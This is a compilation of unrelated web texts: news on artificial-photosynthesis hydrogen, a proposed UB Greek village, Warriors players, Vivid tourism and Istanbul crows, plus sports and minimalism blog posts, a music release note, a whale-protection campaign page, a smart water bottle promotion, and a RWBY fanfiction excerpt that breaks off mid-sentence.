exciting prospect to use them to create hydrogen, and do it cheaply and safely,” Dr. Kastoori Hingorani, from the ARC Centre of Excellence for Translational Photosynthesis in the ANU Research School of Biology told Science Daily. Not only are the ingredients abundant, but the process itself is sustainable for the long-term. Since there is no shortage of water or sunlight, if the photosynthesis process is completely harnessed, it could provide energy indefinitely. “That carbon-free cycle is essentially indefinitely sustainable. Sunlight is extraordinarily abundant, water is everywhere — the raw materials we need to make the fuel. And at the end of the usage cycle, it goes back to water,” said co-researcher professor Ron Pace. “It’s the beginning of a whole suite of possibilities, such as creating a highly efficient fuel, or to trapping atmospheric carbon.” The photosynthesis process — though often taught to schoolchildren, and simple enough on paper — is actually fairly complicated in practice, and often misunderstood. At the most basic level, the process simply converts light from the sun into usable energy in the form of chemicals. This is the basic way that plants produce energy, and release oxygen as a byproduct of the reactions happening within their structures. There are different types of photosynthesis that have been observed in varying types of life, including algae and even bacteria. Essentially, duplicating the act of splitting water into its more base elements is what scientists are trying to mimic. Australian researchers did it by creating a protein that creates an ‘electrical heartbeat’ when exposed to light. Development of the protein does not require expensive components or even batteries, meaning the technology could be used in developing areas and impoverished countries to produce fuel. Hydrogen has been one of the few energy sources touted as the next big thing and is used in a variety of different ways. It is commonly used in rockets and spaceflight, and is starting to gain popularity in consumer vehicles that use hydrogen fuel cells instead of petroleum or all-battery power. For example, Toyota just announced its new fuel-cell vehicle, the Mirai, which will use hydrogen as its primary fuel source. As consumers have become more and more aware of the effects that petroleum products can have on the environment, clean-burning alternative sources have grown in popularity. With the impending effects of climate change also concerning many people, switching to zero-carbon alternatives is quickly becoming a priority. For years, scientists have been putting in an effort to successfully replicate photosynthesis, and this latest breakthrough signifies the overcoming of a major hurdle. If researchers are able to make the process as easy and cheap as they hope, it could mean seismic shifts in the energy business. After all, the major problem that has led to the mass adoption of hydrogen-powered technologies has been the fact that producing hydrogen is not only difficult, but expensive. There have been efforts by private companies recently that have shown promise, such as the case of HyperSolar, which had come close to developing technology to successfully split water into its base elements. Although they didn’t quite get there, the research from Australia is simply the next step in developing the technology. As ExtremeTech explains, the major interest in hydrogen stems from its versatility; unlike solar power, it presents an energy source that can be successfully stored and transported, all while providing no negative impact environmentally while it is produced. Currently, the only methods of producing usable quantities of hydrogen have some serious setbacks. It can be produced from fossil fuels inexpensively, although the process of doing so has environmental drawbacks. The other method involves the electrolysis of water, which splits water molecules into its base elements. The problem with this process is that it requires a lot of energy — so much so that there is actually a net loss at the end. It’s easy to see why the prospect of a photosynthesis-inspired hydrogen production process is so exciting. The system would be cheap, easy, and ultimately very lucrative. Not only that, but the environmental advantages would be immense, especially considering the challenges that await in the coming years due to climate change. Even in areas affected by wars and natural disasters, energy production systems that run off of simple resources like water and sunlight could be deployed, and successfully run by almost anyone. While there is still some work to be done, there are plenty of reasons to get excited by this latest breakthrough in biomimicry. If the technology can be successfully developed and methods for distributing it are in place, hydrogen may finally be able to solve the world’s energy issues in a cheap and easy way. More From Business Cheat Sheet: -When Dani Weingarten first joined UB’s Alpha Phi sorority, the one thing she felt UB was missing was a Greek row – an area devoted to fraternity and sorority housing. She had visited her friends at other universities who lived in sorority houses located in a Greek row near the campus. Weingarten may get her wish next fall. Standard Ascension Tower Group Corp (SAT Corp), an investment corporation, is planning to create a “Greek village” near North Campus for UB’s fraternities and sororities. The $60 million project will involve four phases and the first phase – which includes erecting 30 houses, a community house and entertainment complex – is set to be completed next fall. Depending on how many organizations move to the Greek row, the housing system will accommodate about 300 people. Taqua Daniels, chief marketing officer of SAT Corp, said the project is not affiliated with UB in any way and Pamela Stephens-Jackson, assistant director of fraternity and sorority life at UB, said neither she nor the university is involved and that this is a private project. At the time of publication, the university did not have a comment regarding the project. Daniels said while SAT Corp would manage the houses, the company is willing to work with UB. “The university will have the ability to work with our group to help maintain university caveats,” Daniels said in an email. Many universities have a Greek row – a collection of houses for different Greek organizations located in the same area on and near the campus. The Greek organizations and its alumni, or the university itself, usually owns the homes. Many UB Greek organizations – both legal and illegal – have homes located throughout the University Heights off South Campus. Student parties in the area, some of which are held by Greek organizations, have led to conflict between students and residents in the area. Daniels said SAT Corp hopes the project will remove Greek life from the Heights. Weingarten, a sophomore speech and hearing major, said while a project like this will benefit UB sororities and fraternities, those who live near the potential village may not appreciate their new neighbors. Weingarten said it would be a “shock” and could change the dynamic in the neighborhood where the Greek village is built. Some illegal fraternities are discussing becoming recognized with the university in order to partake in the Greek village. Larry Jordan, the chief executive officer of SAT Corp, said the company chose UB because it is familiar with the location and the environment of the campus and because most “big schools” have a Greek row. Jordan, the company itself and “state mutual funds” will fund the project, according to Daniels. In order to be developed, the company first plans to send the project to be bid on by local development contractors and architects. Although there are two, 2.5-acre sites in Amherst where SAT Corp could develop the village, Jordan said the company wants to build it on the location closest to the North Campus. Daniels said it would be within walking distance of the campus. Daniels said the project is a set plan, but SAT Corp is currently seeing which organizations “qualify” to move into the location. “Qualified organizations will historically have a good standing with the UB campus, local community, academically and [national charter],” Daniels said. The Spectrum obtained SAT Corp’s letter of intent to lease the homes. SAT Corp sent the nonbinding contract to UB Greek organizations in order to determine how many organizations would be interested in the project. Jordan also presented the project to students in a classroom on campus last month. The Spectrum obtained photographs of the presentation, which included renderings of the potential village as well as prices. Joshua Grove, Greek liaison for UB’s Inter-Greek Council, said the plan has only been in discussion for about a month and the “location, approval and zoning” have yet to be put into effect. Weingarten said she thinks bringing a Greek row to UB’s campus will be a good way to increase Greek membership, however more awareness about Greek life should happen before the village is built. “I think right now Greek life needs to work on expanding and needs to be recognized more on campus before building houses for each organization,” Weingarten said. “I think if it was to happen a few years from now it would be great to have a part of where our students live dedicated to Greek life.” Once the first phase of the project is completed, roughly five organizations would be able to move into the village according, to Jordan. SAT Corp would then move on to the remaining three phases, which include town houses for smaller organizations, a solar panel park for sustainability and a chapter monument museum. Daniels said each organization has the option to design its own house and can choose between a modern or contemporary style. The Greek village will be in a gated community and each house will start at 25,000 square feet. The houses – which will “be able to sleep up to 30 members” – will have three floors that hold a library, grand dining hall and ballroom. The sorority houses will additionally have powder rooms and a large community closet. The houses will have a rate comparable to rent for on-campus apartments and SAT Corp plans to accept student financial aid. Daniels said historically, larger and “more established” organizations will have a purchase option from their national charter. Chapters who maintain a 3.5 GPA will be offered a rental and lease discounts. Ultimately, Daniels said SAT Corp wants the Greek village to bring something new to UB by having a distinct area for the Greek life on campus. “We believe that this location will be pinnacle to the growth and respect of [the] university and a grand capstone to the New York academia community,” Daniels said. “In general, Greek village adds another dimension to the university, enhancing its image as a major Division-I institution.” Marlee Tuskes is a news desk editor and can be reached at marlee.tuskes@ubspectrum.com. Follow her on Twitter at @marleetuskes5. -The NBA schedule has just been released, and for Bulls fans across the world this day marks the first view of the upcoming season’s schedule, one which will prominently feature a return of some guy who won the MVP one time and who most of the staff here at DRaT has a pretty homoerotic crush on. In quickly glancing over the schedule, a couple of things stick out as noteworthy: The Bulls open the season October 29 in Miami against the defending champs. Nothing like having to watch your most hated enemy hang up a banner to kick off the season. Imagine if Mitt Romney had to go to the presidential inauguration while being force fed coffee and other hot drinks. Fucking nightmare. The Bulls home opener is on Halloween, against the spooky scary New York Knickerbockers. This game, like the one against Miami, will be played in front of a national audience on TNT. Look for Thibodeau to come dressed as an angry troll who lives under a bridge. The annual circus trip will span from November 21-30. The Bulls will get a crack at Denver, Portland, the Clippers, Utah, Detroit and will wrap up against the Cavs. My early estimate is that the Bulls will go 5-1, but I’m pretty irrationally excited and could be talked into a 75 win season. The Bulls have one other long stretch of games away from the UC from January 29-February 6. that trip will be a bit tougher, with games against the Spurs, Pels, Kings, Suns, Warriors and Lakers. I’m a little higher on New Orleans than some, but man I’m excited to watch Rose tear it up. I’m not making any sense. Basketball. With the postseason just around the corner, the Bulls have a brutal stretch that runs through the middle of March. Although all games will be in Chicago, Miami-Memphis-SA-Houston is going to be a challenging stretch. Hopefully the team is healthy. No better way to announce that you are a true title contender than by ripping through that brutal stretch of games. The Bulls have a rough schedule. The Central division is the strongest its been in years. The Bulls could be considered co-favorites with the Conference Finalist Pacers. The Cavs look like they will be formidable foes, with another year of Kyrie development plus whatever they squeeze out of Bynum and his degenerating knees. The Pistons made several big splashes this offseason and will look to break into the top eight in the East. And Milwaukee has warm bodies that can run up and down a court. Ladies and gentleman, let the countdown to the 2013-14 season officially begin!!! Advertisements -Over the weekend, I went to visit my mom and aunt to celebrate their birthdays. They were born one day and two years apart! We hung out at the National Harbor yesterday and I was surprised at how many shops are there now compared to how many there were when it first opened. My aunt loves to shop, so we ended up exploring many of the clothing and accessory stores at the harbor. Although I saw lots of lovely things that would look good on me, I walked away from that place empty-handed, as usual. I have little desire to buy “stuff” anymore, unless it’s something I actually need. I’ve been living this way for about two years now. When I started working for myself full-time in 2010, I also began to adopt a minimalist mindset to my life. My main goal was to buy less, use what I had and save my money for experiences instead of stuff. As a result, I’ve spent very little on “things” over the past two years. Most of my income goes to housing, student loans, car payment, food and other monthly bills. The rest goes to activities that I gift to myself or other people: traveling, trying new restaurants, attending concerts and going to festivals. The point of living with less, for me, is not about NOT buying things. It’s about prioritizing the purchase of things that truly matter to you and add to your life. For me, that shift began with ending my habit of buying things I didn’t need. Here are seven strategies I’ve used in that journey that you may wish to consider for your own growth. Stop watching TV. Constantly seeing celebrities on TV with their beautiful hair, designer clothes and fancy homes does a lot of damage to the psyche. Not only does it conjure up feelings of inadequacy in our own looks, but it can prompt us to buy the exact same stuff they have to make ourselves feel like we’re living just a fraction of their fabulous lives. Please remember that everything on TV is FAKE. It is an escape from your day to day life, but when you start escaping with your credit card, you can end up with a bunch of expensive items that leave you feeling no better than you did before. Stop watching commercials. Television advertising is insidious. In college, I learned about how car marketers are taught to “manufacture desire” for new vehicles that no one needs. Used cars will do you just fine, but to have commercials tell it, you have to have the latest model BMV to have an exciting, glamorous life. Most commercials are full of lies and manipulation to get you to feel incomplete and lead you to buy things you don’t need. But when you stop watching them, you lessen the power of corporate messaging on the decision-making part of your brain. Don’t justify shopping because it’s “on sale” or you have a “coupon.” Remember that you’re only saving money if you would have needed to buy the item anyway. In other words, a sale on toilet paper is a score, but a sale on Jimmy Choos is not. My aunt cracks me up with all the DSW and Lane Bryant coupons she gets in the mail every month. She claims she’s “saving” money on all the clothes she buys, forgetting that the best way to save money is not to spend it in the first place. Tell your favorite clothing stores to stop sending you discounts and reserve your couponing culture for buying food or other essential items. Limit your visits to the mall. I’ve been living in Charlottesville for a month now and I haven’t been to the mall once. I have no need to, unless I’m replacing an item of clothing that’s worn out or doesn’t fit me right anymore. Idle shopping usually results in idle purchases. If you must go to the mall, go in with a purpose – to find a new pair of black dress pants or to replace your favorite pumps. Stop buying magazines. When I was in college, I used to buy Lucky Mag religiously. I fancied myself a fashionista and I wanted to keep up with the trends. Thing is, each magazine cost $5 by itself, let alone what it would cost to purchase something highlighted in its pages. Women’s magazines are blazoned with full-page ads that promise you instant beauty and weight loss and happiness if you just buy the latest product. And if it’s a reputable publisher like Oprah or Essence, you’re already pre-wired to trust the product recommendations, which can make you even more likely to buy something you see in those magazines. Just remember that you can get many of the same articles online these days, so there really is no need to read magazines anymore. Stop reading fashion, makeup, natural hair and thrifting blogs. I feel so conflicted about this one, as I love the creativity and artistry with which my fellow bloggers put into their sites. But there are many that I just don’t read, not because I have a problem with the bloggers themselves, but because I know that the whole purpose of their site is to recommend that I buy new clothes, buy old clothes, buy more makeup or buy every new natural hair product line that comes out. If you read blogs to get new information, inspiration or to support the writers, great! But when you find yourself feeling like you have to buy every new lip gloss that beauty bloggers review, it may be time to switch up the blogs you give your attention to. Avoid hanging out with shopaholics. When you see everyone else around you buying the latest fashions or electronics or accessories, it can be easy to fall prey to subtle peer pressure. Plus, shopaholics are usually the first ones to urge you to “buy that dress girl, it’s so cuuuuute!” with an urgency so fierce that it’s hard not to get caught up in their excitement. So if a shopaholic friend asks you to go to the mall with her, opt to meet her afterwards for lunch or coffee instead. That way, you don’t get tempted to mirror her out-of-control spending habits. What other strategies have you used to keep yourself from buying things that you don’t need? Sharing is caring! -Northern Electronics have just announced another quality release. This one is super solid. Anthony Linell puts together 8 tracks for his new release titled “Emeral Fluorescents” on the no bullshit label. Going by the 2 tracks shared only a few minutes ago it seems like Linell is exploring a darker heavier side than what he releases under his Abdulla Rashim moniker. To quote the press release accompanying the album, “Scattered fractal stabs revolve around quietly furious low-end fit outs with enough sharp edges to let you know it’s someone else’s space.” The album (limited to 200 on wax) is available for pre-order on the Northern Electronics Bandcamp page. Check out the two tracks here: Anthony Linell – Fractal Vision Anthony Linell – Emerald Fluorescents For more updates, follow us on Instagram. -TOKYO: This year's Vivid festival attracted a record 2.33 million visitors, with national and international visitors to the Sydney light show up by 35 per cent. Launching the dates for next year's Vivid to the Japanese tourism industry in Tokyo, Premier Gladys Berejiklian said the world's largest light show would be 10 years old in 2018. This year, 5000 Japanese tourists travelled to Sydney to attend Vivid, but Ms Berejiklian said the NSW government wanted to boost Japanese tourism around the event, and would host a large delegation of 50 travel agents at Vivid in 2018. Toru Ikuta, chief executive of major Japanese tour company, JTB World Vacations, said 20 years ago, 800,000 Japanese visited Australia annually. But the number of Japanese tourists plummeted by half in the following decades as tourism promotions stopped, and airlines reduced flights. -ESPN Warriors reporter Ethan Strauss discusses the recent comments from Warriors players regarding those critical of their championship season. (3:09) OAKLAND, Calif. -- Forward Draymond Green said Tuesday that teams questioning the Golden State Warriors' championship are bitter, pointing out that you don't hear such talk coming from teams such as the San Antonio Spurs. Editor's Picks Pelton: Were Warriors just 'lucky' to win title? Yes, there was luck involved in the Warriors' championship run. But is that the whole story? League MVP Stephen Curry, meanwhile, issued a mock apology for the Warriors' success. Green and Curry made their comments Tuesday when they were asked about people discussing whether the Warriors "deserve" their title, possibly in reference to Los Angeles Clippers coach Doc Rivers saying to Zach Lowe of Grantland, "You need luck in the West. Look at Golden State. They didn't have to play us or the Spurs." "If they saying that, they aren't the champs. It's simple. Gregg Popovich didn't say that. That's one organization I really respect. And you haven't heard anybody in they camp say that. You ain't heard anybody from OKC say that, some of the organizations that I really respect," Green said. "You see the ring fitting man over there? Jason of Beverly Hills, he over there fitting us for our ring? That's pretty cool. So if they saying that, it's some bitterness and some saltiness going around. They obviously not the champs. So who cares what they say. It is what it is." Stephen Curry, left, and Draymond Green, right, have had enough of teams like the Clippers questioning their merits as champions. Ezra Shaw/Getty Images Curry "apologized" to critics of the Warriors' title on Tuesday. "I apologize for us being healthy, I apologize for us playing who was in front of us. I apologize for all the accolades we received as a team and individually. I'm very, truly sorry, and we'll rectify that situation this year," he said. "Bitter" is how Green's teammate Klay Thompson described Rivers' comments on Friday, when he also said of Rivers' team, "I wanted to play the Clippers last year, but they couldn't handle their business." Last week, center Andrew Bogut also responded to the critics in an interview with KNBR radio. "I've actually got my [championship] ring fitted for my middle finger, so they can kiss that one," Bogut said. "It's just bad, man," Green said Tuesday, describing how he'd feel about questioning someone else's title. "I would feel bad about myself doing that. That's just crazy to me, but that just lets you know how many people didn't want to see us win. Because they sick." Asked why he believes the Warriors are attracting this particular criticism, Green said, "People hate change. People don't accept change well." -VIDEO: Revenge-seeking crows terrorize an Istanbul neighborhood ISTANBUL A murder of crows has been attacking passersby for almost a week in an Istanbul neighborhood, creating scenes reminiscent of Alfred Hitchcock’s 1963 masterpiece ”The Birds.”A nestling was killed under the wheels of a car last week, after it fell from its nest on top of a utility pole in Istanbul’s Asian-side neighborhood of Ümraniye. Since then, crows have been attacking people to avenge the death and protect the remaining nestlings.In addition to people who are regularly being hit on their heads, cats are being victimized by the rage of the crows as well. “They generally attack older people. We’re also afraid, but they haven’t attacked us,” one of the children who have to use the road every day to go to a nearby school told Cihan News Agency. -Dolphin + Whale Project The Problem Whales and dolphins continue to be killed around the world and need our help. Japan, Iceland, and Norway kill more than 1,000 minke, fin, and other great whale species every year, all for meager sales of whale meat. Thousands of dolphins are still killed every year in Japan for meat, and in Indonesia and Peru for shark bait. Whales and dolphins continue to be captured in Russia, Cuba, and Japan for export to captivity facilities. Despite a ban on captures and export, dolphins around the Solomon Islands still face threats of capture, slaughter and export, as is illustrated in the adjacent video, "Pillaging the Solomons". Our Action Campaign We have a long history of working within the International Whaling Commission (IWC) to end commercial whaling. In 1982, we helped pass a moratorium on commercial whaling. We publish a daily newsletter, ECO, at IWC meetings, which is the voice for whales and the environmental community. We work with grassroots groups to educate local fishermen about the need to stop the killing of dolphins and sharks. And we support the growing efforts for watching wild dolphins and whales rather than killing them. We support community efforts to replace dolphin killing with dolphin tourism in places like the Solomon Islands, and fight to block the import and export to captivity of wild dolphins, belugas, and orca whales. Current Challenges Commercial whaling, undertaken under the guise of “scientific” whaling, must be stopped. Japan is planning more illegal whaling in Antarctica, in defiance of the legal ruling against the country in the International Court of Justice at the Hague. Iceland and Norway are also defiant. We work to protect cetacean habitat from oil and gas threats as well as the Trump administration's plans to reduce the size of marine protected areas. We successfully worked to block the import of wild belugas captured in Russia for U.S. captivity facilities, and to blow the whistle on live dolphin exports from the cruel “cove” drive hunts to places such as Dubai and China. We continue to monitor the situation in the Solomon Islands to ensure that the current ban on the capture and export of dolphins is upheld. Iceland Kills 11 Pregnant Whales, Says It's A Good Thing Mark Palmer, October 2018 Iceland is one of the few countries that continues to kill whales for profit. Over this summer’s hunting season, eleven pregnant whales were killed, their fetuses strewn across the flensing decks of the whaling ships. In an astonishing twist of logic, Kristján Loftsson, who runs Iceland’s one and only whaling company, said that killing pregnant females is a good thing, showing that whale populations will continue to grow. Read More > The Truth About Whaling Audrey Lee, October 2018 Whaling is the practice of hunting and killing whales by humans for multiple purposes and has been going on for more than a thousand years. Throughout the centuries, whaling became increasingly intense and widespread, especially with the development of the exploding harpoon and better boat engines to chase down the whales. In the 1960s, due to over-hunting, most large whale populations collapsed. Read More > CAMPAIGN HIGHLIGHTS Stop the Slaughter of Dolphins and Whales! Sign the Petition Demand that the IWC to include small cetaceans in their purview and advocate for increased cetacean protection. Sign Here > Faroe Island's Annual Pilot Whale Slaughter As Horrific As Taiji's Cove Pilot whales are killed each year in ways that are not humane. Watch the video and sign the petition! Read More > Watch Whales In Iceland, But Don't Eat Them! Tourism is among the biggest supporters of the Icelandic whaling. Learn what you can do to avoid supporting this inhumane practice. Read More > Connect with Us f t -It’s commonly accepted that the majority of Americans do not properly hydrate themselves throughout the day, despite the avalanche of physical problems this can cause. A new water bottle called the ‘BluFit’ is using smart technology to combat that issue. The Bluefit water bottle works in synchronization with a smartphone will help consumers maintain optimum levels of hydration. Through the smart bottle and app, BluFit will determine how much water you need, how much you have consumed and will alert you when it’s time to hydrate. According to the product manufacture “Studies show that nearly half of Americans don’t drink enough water. Staying hydrated not only helps with your alertness, controlling appetite, improving activity and performance, but it also keeps everyday symptoms like fatigues, headaches and dry skin at bay.” When living a busy life, even simple tasks-like staying hydrated-can slip your mind. BluFit eliminates the guess work and does the job for you. OleoApps, maker of BluFit, designed a one-of-a kind device to help consumers maintain a healthy lifestyle by monitoring and analyzing their daily intake of fluids. The smart water bottle features a sensor that automatically records the time and amount of water consumed. While there are many determining factors that play into each individual’s unique level of hydration, BluFit’s integrated app will provide users with a program customized to fit their needs. The BluFit app collects a variety of data including weight, age, temperature and humidity to determine exactly what your daily intake should be. Through the customizable app, you can view your current level of hydration, set and monitor personal goals and adjust your daily intake based on your activity level and health status. BluFit has customizable LED lights integrated into the bottle’s sleeve to provide real-time alerts. In addition, the app will send phone notifications to help keep you on track. The smart bottle’s interior setting includes a Bluetooth LE chip, compatible with iOS and Android devices, a built-in water flow sensor and a rechargeable battery that provides up to 6 days of continuous use. The BluFit is available in Ocean Blue and Charcoal Black (exclusive Indiegogo colors). It will retail for $59 when it hits the market in March. You can also preorder the BluFit for reduced pledges on Indiegogo now. more info: bluefit -August 10, 2020 It was 5 AM. The platoon had seen heavy combat the day before after 3 giant nevermores ambushed the command post followed by 6 other assorted Grimm. To rebuild the damaged post, a contingent of 50 sailors from the Naval Construction Unit worked through the night, keeping the platoon from falling asleep. Along the front, things had been tough. The constant bombing of the forests had caused out-of-control forest fires, and now, water bombers were being flown in to help control the fires. Up to now, at least 350 Grimm had been killed at the cost of 16 deaths. The death of Oobleck had made national news and had generally reduced the morale of the hunters and the troops. At precisely 5:30, Jaune woke up the entire platoon. "All rise and awake! Report to the briefing room now!" Ruby tiredly got up and yawned, saying, "Another mission, sir?" "Precisely. Now let's go." At 5:40, Jaune sat everyone down in the briefing tent. "I have gathered my entire platoon here to inform them that we are to patrol the 3-mile-boundary until August 11. Squads Ruby and Cardin will patrol, and Squad Tan will standby and be flown in by helicopter if necessary." The entire platoon grumbled. Yang said to Ruby, "Not this." "Now, now, we have to do it. After all, who else will? Squads Ruby and Cardin ship out at 0615 hours." Ren thought to himself, "Nothing better happen to Nora while I'm gone. She's gonna be handling radio communications for us, so as long as she keeps replying to us, she'll be safe." As Squad Ruby patrolled the boundary zone, they kept watch for any active forest fires that may have been started by ordinance dropped from aircraft. Weiss said to Yang as they walked over a creek, "Do you think we'll really clear out all the Grimm by November or December?" "Not really," Yang replied. "This entire operation seems a little rushed. I only hope we don't lose anyone else close to us. Oobleck was hard enough to lose." Ren said to the two of them, "Be careful, or you might jinx us." Then, Ruby held her hand out and said, "Wait up! Shhh!" The entire squad then paused as they all heard rustling from a nearby bush. Blake pulled out Gambol Shroud and Yang aimed her AR-7 at the bush. As Yang cocked her gun, the tension began building as to what was in or behind the bush. Then, a feral cat walked out of the bush, looking at the squad for a few seconds before scampering off. Blake said, "Well that was disappointing." "Uhhh," Yang said. "I don't think that thing will be, though." She then pointed at a boarbatusk charging at the group. Ruby activated her semblance and sliced the beast in half by flying past it with Crescent Rose, killing it easily. "Piece of cake." She then spat on the ground beside her. "That was still a disappointment," Blake replied. "Well it was a figure of speech or whatever, alright?" Yang was a little annoyed at Blake's response. "That isn't exactly a figure of speech, first off. Second, your tone of voice is a bit off, too." Blake fired back at Yang. "My tone of voice was perfectly fine, thank you very much." Weiss rolled her eyes and said to herself, "Oh boy..." "No, it wasn't, Yang Xiao Long. It was VERY rude." It was clear by now that this would lead to an argument. "Rude? Rude? Hahaha, Rude, right? That's all you can say?" Yang's eyes then changed colour. "You're only making this shit worse, Yang!" "Now that's rude, Blake. Maybe next time you should watch your definitions. I'm not in the fucking mood for this, considering I watched my old teacher die in front of me!" "God damn it, he was mine too! We all saw him die, Yang! It isn't all about you, asshole! We all were hurt by Oobleck's death!" Yang then flared in anger. "That does it!" Ruby, extremely annoyed and angered by her best friend and sister arguing, then interrupted the argument by firing a round from Crescent Rose into the air before she screamed, "JUST MOTHERFUCKING STOP YOUR POINTLESS FUCKING ARGUING! YOU CUNTS HAVE DONE NOTHING BUT GIVE EACH OTHER DIRTY LOOKS, BARELY INTERACT WITH EACH OTHER, AND HAVE THESE STUPID FUCKING FIGHTS SINCE YOU BROKE UP! YOU TWO ARE SUPPOSED TO PUT THAT ASIDE AS TEAMMATES AND HUNTERS, OR ELSE YOUR CONFLICT WILL GETS US ALL FUCKING KILLED!" Ruby then took a deep breath. "Do you assholes even like each other as friends anymore?! Do you two wants all of us to go back in boxes like Oobleck?! Do you want Dad to have to cry for us like she did for Mom, Yang?! Do you want to die without redeeming your name from the White Fang, Blake?!" Blake and Yang looked at Ruby, astonished at her outburst. Weiss and Ren's jaws dropped to the ground. "If not, THEN STOP IT! Either you two stop arguing, or I will have you BOTH court-martialed for obstructing us from carrying out our mission objectives!" Ruby then broke down in tears, sobbing uncontrollably. "I just want my big sister and my best friend to all get along like we used to... Is that too much to ask? What happened to us? What the fuck happened to us?" Weiss walked up to Ruby and said, "It's okay, it's okay." Yang began to form tears in her eyes and said, "Sis..." She then walked up to her and hugged her as she also began to cry. "I... I'm... I'm so sorry I let that get between us... All of us... It's all my fault..." Blake walked up to her and replied, "No, it isn't. It's both of us." Yang then separated from Ruby and hugged Blake. "Listen, Yang, we need to move on from our relationship. It's pretty clear by now you've moved on, and that George boy treats you like the goddess you are. And, I think I'm beginning to fall in love all over again with someone else as well. Let's bury the hatchet, metaphorically of course, and work together again." Yang said, "Of course. I already knew I was a goddess beforehand, by the way." Yang and Blake then laughed. They then shook hands. "Now, who is it?" "Who's what?" Blake looked confused. "Who's the lucky boy or lady who has stolen your heart?" Blake blushed. "Uhhhh... He's a faunus..." "It's Sun, isn't it? And let me guess, he doesn't know?" Blake then sighed. "Yes, and yes." August 16, 2020 It had been less than a day after the team returned home. In their time in the operation, Jaune's platoon scored a total of 84 kills. In total, all forces had scored over 1500 confirmed kills, as well as countless unconfirmed ones. Today would be the funeral of Doctor Oobleck. The platoon dressed themselves in their Ceremonial Uniforms and met in the centre of the academy grounds, where Team RWBY and Jaune had all first met just 5 years before. "Before the service begins," Jaune started. "We've all been invited to see what was left of him in his coffin alongside his family and closest friends. I would like it if all of us could go. Now, they've said that his parts were pretty badly burned, so if you're uncomfortable with it, I will understand if you don't want to see his remains. To move on, I want everyone to remember Oobleck as a master at hunting, as an amazing teacher, and as a good friend. He will be missed dearly by all of us." As the platoon made their way through the impromptu preparation room, Ruby, joined by Delwyn IV, said to him, "I wonder what they put in his coffin." As Ruby and Delwyn went up, Ruby began to cry again. Oobleck, or what was left of him in various parts, was badly scarred and burned from the explosion Yang caused when she killed the nevermore that killed Oobleck. Alongside his remains was his thermos, badly charred but still in one piece, which as his weapon was to be buried alongside him as part of the Hunting Corps' custom for funerals and burial. Delwyn thought to himself, "I hope I never have to send someone out to war again, not if it will lead to this." As Yang and George went up, Yang said to Oobleck's remains, "I'm sorry I couldn't save you in time, Doctor." She then gave him a salute and walked away, shaking her head in utter disbelief that he was actually dead. George held her hand as she walked. Jaune saluted Oobleck's remains and said, "It's been an honour serving with you, Major." He then left a bouquet of flowers alongside his coffin. Weiss did the same thing right after him. Blake and Sun went up together as well. Sun said, "Everyone from Team SSSN's still in utter shock. I bet he's already started his own coffee company in the afterlife by now." Blake gave a short laugh and said, "I could see him doing that. I'm not even kidding. Didn't he once say that that would've been his plan B if he lost his job?" "Oh yeah! I remember that! Good times, good times..." The Amphitheatre was crowded with students, ex-students, family, and friends of Oobleck, as well as journalists from various news agencies, since Oobleck's death had made worldwide news. On the stage was Oobleck's coffin, wrapped in the flag of Vale, alongside a picture of Oobleck in his military uniform. It listed him as "Maj. Bartholomew Joseph Oobleck, 1978-2020, Years of Service: 1995-2020." It also listed a quote from him, saying, "I am a Huntsman because there is nothing else in this world I would rather be." (A/N: The Hunting Corps adopted the gender-neutral term 'hunter' in 2017, though many older hunters will still use Huntsman and Huntress.) After the beginning ceremonies, Ozpin took to the stand and began a speech. "My name is Brigadier General Michael James Ozpin. I am the Headmaster of Beacon Academy, and I have served my country as both a soldier in the army and as a huntsman in the Hunting Corps since I first went here as a student in 1985. I first met Ozpin when I was a teacher here. It was my first year teaching here at Beacon Academy. He was a very active student, and he often engaged in debates with other teachers and students involving various topics, such as faunus, campus policies, and foreign policy. He was one of several key participants in the fight to allow access to birth control on campus, and he also organised a petition with over 5,000 signatures to the Governing Council of Vale and the King of Vale at the time, Delwyn III, to pass anti-hate crime legislation for not only faunus, but also LGBT individuals, immigrants, and numerous ethnic and religious minorities. After he graduated from Beacon as a Valedictorian and served in active duty for several years, I contacted him and asked if he would consider becoming a teacher at Beacon. Of course, he took up the offer and became one of the most beloved teachers here." Ozpin then looked at Jaune, confusing him. "One example of how he impacted students would be a man who, when he first got here, was not a good fighter or leader at all. He had no control over his semblance or aura, and he reportedly faked his transcripts. Oobleck himself pointed out how he often did not pay attention in his class. Eventually, after improving his skills in his first year, Oobleck offered to give this man extra help outside of class. Multiple times, I let them fight Grimm by themselves in Emerald Forest. They ended up scoring many kills together. Today, this man is Lieutenant Jaune Arc, and he graduated at the number 22 spot in his class out of 678 students, an impressive feat considering he was at the very bottom when he first started." The audience then cheered and applauded. Jaune smiled and said, "Thank you..." "One of the last things Oobleck said to me was, pardon my language here, "I'm getting too old for this shit." I could tell he was saying it in a joking manner, but I still said to him, "Oobleck, you're 42 years old and have the energy of someone half your age. You won't be getting too old for this job anytime soon." He laughed and agreed with me. You know, I will always mourn his loss, but at the very least, I can take comfort in knowing that he died doing what he loved. Hunting Grimm was his life, and he was prepared to give up his life every time he went out onto the battlefield. And thus, the story of one of the greatest teachers in Beacon's history may be ending, but in all of you, a new story is just beginning. Thank you." The audience then applauded his speech and cheered. After 6 more long speeches by Oobleck's family and friends, the amphitheatre fell silent. As the audience fell silent soon afterwards, the honour guard took the flag wrapped around his coffin and held it above the sleek and wooden coffin. "Present, ARMS!" The cry of an honour guard captain pierced the air as all of the students, hunters, teachers, and other military personnel and royal family members gave a salute, while the civilians all placed a hand on their heart. Then, a lone bagpiper began playing "Going Home" to symbolise that Oobleck's soul was 'going home' in a sense. After the song ended, the sound of pagers ringing and the Beacon Fire Company's nearby siren echoed throughout the area. "Vale City Fire Alarm, per the request of Beacon Academy and Signal Academy, is activating the tones of Beacon Fire, Signal Fire, and Patch First Aid in memory of Major Doctor Bartholomew Oobleck, who died serving the Kingdom of Vale on August 10, 2020, while fighting Grimm. May he rest in peace, and may his family and friends gain the strength to carry on. Time is 1006 hours, Alarm Operator 94." Then, the honour guard folded the flag and presented it to Oobleck's older sister and her husband. They walked back to the coffin and then lifted it, carrying it down from the stage and through the middle of the amphitheatre as the crowd watched and continued to salute. Finally, once the coffin left the building, the captain shouted, "At ease!" August 17, 2020 Today, the team met after working at their day jobs. Weiss asked as they all sat down in Ruby and Yang's apartment, "Did you guys remember to sign up for that makeup Basic Firefighter-CFR class tonight?" Yang said, "We did after we came home yesterday. Me, Ruby, and Blake all went down to the station to sign up." Weiss replied, "Good. You cannot miss a single class, or you'll fail the entire course. Say, how do you guys do during live burns?" Blake said, "I have to admit, Ruby is the best one out of all of us. When we first all did it, I was actually scared shitless, but Ruby 